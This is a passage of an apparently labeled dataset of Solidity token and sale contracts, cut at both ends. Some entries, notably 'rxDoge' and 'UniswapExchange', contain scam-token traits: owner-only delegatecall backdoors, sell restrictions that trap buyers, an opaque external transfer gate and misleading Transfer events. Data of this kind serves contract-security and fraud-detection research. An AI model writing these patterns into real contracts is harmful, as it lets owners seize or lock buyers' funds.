function certify(address _who) only_delegate {
certs[_who].active = true;
Confirmed(_who);
}
function revoke(address _who) only_delegate only_certified(_who) {
certs[_who].active = false;
Revoked(_who);
}
function certified(address _who) constant returns (bool) { return certs[_who].active; }
function get(address _who, string _field) constant returns (bytes32) { return certs[_who].meta[_field]; }
function getAddress(address _who, string _field) constant returns (address) { return address(certs[_who].meta[_field]); }
function getUint(address _who, string _field) constant returns (uint) { return uint(certs[_who].meta[_field]); }
function setDelegate(address _new) only_owner { delegate = _new; }
mapping (address => Certification) certs;
address public delegate = msg.sender;
}
contract ProofOfSMS is SimpleCertifier {
modifier when_fee_paid {
if (msg.value < fee) {
RequiredFeeNotMet(fee, msg.value);
return;
}
_;
}
event RequiredFeeNotMet(uint required, uint provided);
event Requested(address indexed who);
event Puzzled(address who, bytes32 puzzle);
event LogAddress(address test);
function request() payable when_fee_paid {
if (certs[msg.sender].active) {
return;
}
Requested(msg.sender);
}
function puzzle (address _who, bytes32 _puzzle) only_delegate {
puzzles[_who] = _puzzle;
Puzzled(_who, _puzzle);
}
function confirm(bytes32 _code) returns (bool) {
LogAddress(msg.sender);
if (puzzles[msg.sender] != sha3(_code))
return;
delete puzzles[msg.sender];
certs[msg.sender].active = true;
Confirmed(msg.sender);
return true;
}
function setFee(uint _new) only_owner {
fee = _new;
}
function drain() only_owner {
require(msg.sender.send(this.balance));
}
function certified(address _who) constant returns (bool) {
return certs[_who].active;
}
mapping (address => bytes32) puzzles;
uint public fee = 30 finney;
} | 1 | 4,181 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract rxDoge is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 13000000000000000000000000;
string public name = "rxDoge";
string public symbol = "rDOGE";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,797 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract NortontokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function NortontokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 2,979 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,441 |
pragma solidity ^0.4.17;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool){
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(0X0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract MITx_Token is MintableToken {
string public name = "Morpheus Infrastructure Token";
string public symbol = "MITx";
uint256 public decimals = 18;
bool public tradingStarted = false;
modifier hasStartedTrading() {
require(tradingStarted);
_;
}
function startTrading() public onlyOwner {
tradingStarted = true;
}
function transfer(address _to, uint _value) hasStartedTrading public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) hasStartedTrading public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function emergencyERC20Drain( ERC20 oddToken, uint amount ) public {
oddToken.transfer(owner, amount);
}
}
contract MITx_TokenSale is Ownable {
using SafeMath for uint256;
MITx_Token public token;
uint256 public decimals;
uint256 public oneCoin;
uint256 public startTimestamp;
uint256 public endTimestamp;
uint256 public tier1Timestamp;
uint256 public tier2Timestamp;
uint256 public tier3Timestamp;
address public multiSig;
function setWallet(address _newWallet) public onlyOwner {
multiSig = _newWallet;
}
uint256 public rate;
uint256 public minContribution = 0.0001 ether;
uint256 public maxContribution = 200000 ether;
uint256 public weiRaised;
uint256 public tokenRaised;
uint256 public maxTokens;
uint256 public tokensForSale;
uint256 public numberOfPurchasers = 0;
address public cs;
bool public freeForAll = true;
mapping (address => bool) public authorised;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event SaleClosed();
function MITx_TokenSale() public {
startTimestamp = 1518453797;
tier1Timestamp = 1519401599;
tier2Timestamp = 1520611199 ;
tier3Timestamp = 1521820799;
endTimestamp = 1523807999;
multiSig = 0xD00d085F125EAFEA9e8c5D3f4bc25e6D0c93Af0e;
rate = 8000;
token = new MITx_Token();
decimals = token.decimals();
oneCoin = 10 ** decimals;
maxTokens = 1000 * (10**6) * oneCoin;
tokensForSale = 375 * (10**6) * oneCoin;
}
function setTier() internal {
if (now <= tier1Timestamp) {
rate = 8000;
minContribution = 1 ether;
maxContribution = 1000000 ether;
} else if (now <= tier2Timestamp) {
rate = 10800;
minContribution = 0.001 ether;
maxContribution = 1000000 ether;
} else if (now <= tier3Timestamp) {
rate = 9600;
minContribution = 0.001 ether;
maxContribution = 1000000 ether;
} else {
rate = 8000;
minContribution = 0.001 ether;
maxContribution = 1000000 ether;
}
}
function hasEnded() public constant returns (bool) {
if (now > endTimestamp)
return true;
if (tokenRaised >= tokensForSale)
return true;
return false;
}
modifier onlyCSorOwner() {
require((msg.sender == owner) || (msg.sender==cs));
_;
}
modifier onlyCS() {
require(msg.sender == cs);
_;
}
modifier onlyAuthorised() {
require (authorised[msg.sender] || freeForAll);
require (now >= startTimestamp);
require (!(hasEnded()));
require (multiSig != 0x0);
require(tokensForSale > tokenRaised);
_;
}
function authoriseAccount(address whom) onlyCSorOwner public {
authorised[whom] = true;
}
function authoriseManyAccounts(address[] many) onlyCSorOwner public {
for (uint256 i = 0; i < many.length; i++) {
authorised[many[i]] = true;
}
}
function blockAccount(address whom) onlyCSorOwner public {
authorised[whom] = false;
}
function setCS(address newCS) onlyOwner public {
cs = newCS;
}
function switchONfreeForAll() onlyCSorOwner public {
freeForAll = true;
}
function switchOFFfreeForAll() onlyCSorOwner public {
freeForAll = false;
}
function placeTokens(address beneficiary, uint256 _tokens) onlyCS public {
require(_tokens != 0);
require(!hasEnded());
require(tokenRaised <= maxTokens);
require(now <= endTimestamp);
uint256 amount = 0;
if (token.balanceOf(beneficiary) == 0) {
numberOfPurchasers++;
}
tokenRaised = tokenRaised.add(_tokens);
token.mint(beneficiary, _tokens);
TokenPurchase(beneficiary, amount, _tokens);
}
function buyTokens(address beneficiary, uint256 amount) onlyAuthorised internal {
setTier();
uint256 tokens = amount.mul(rate);
weiRaised = weiRaised.add(amount);
if (token.balanceOf(beneficiary) == 0) {
numberOfPurchasers++;
}
tokenRaised = tokenRaised.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(beneficiary, amount, tokens);
multiSig.transfer(this.balance);
}
function finishSale() public onlyOwner {
require(hasEnded());
uint unassigned;
if(maxTokens > tokenRaised) {
unassigned = maxTokens.sub(tokenRaised);
token.mint(multiSig,unassigned);
}
token.finishMinting();
token.transferOwnership(owner);
SaleClosed();
}
function () public payable {
buyTokens(msg.sender, msg.value);
}
function emergencyERC20Drain( ERC20 oddToken, uint amount ) public {
oddToken.transfer(owner, amount);
}
} | 1 | 4,168 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
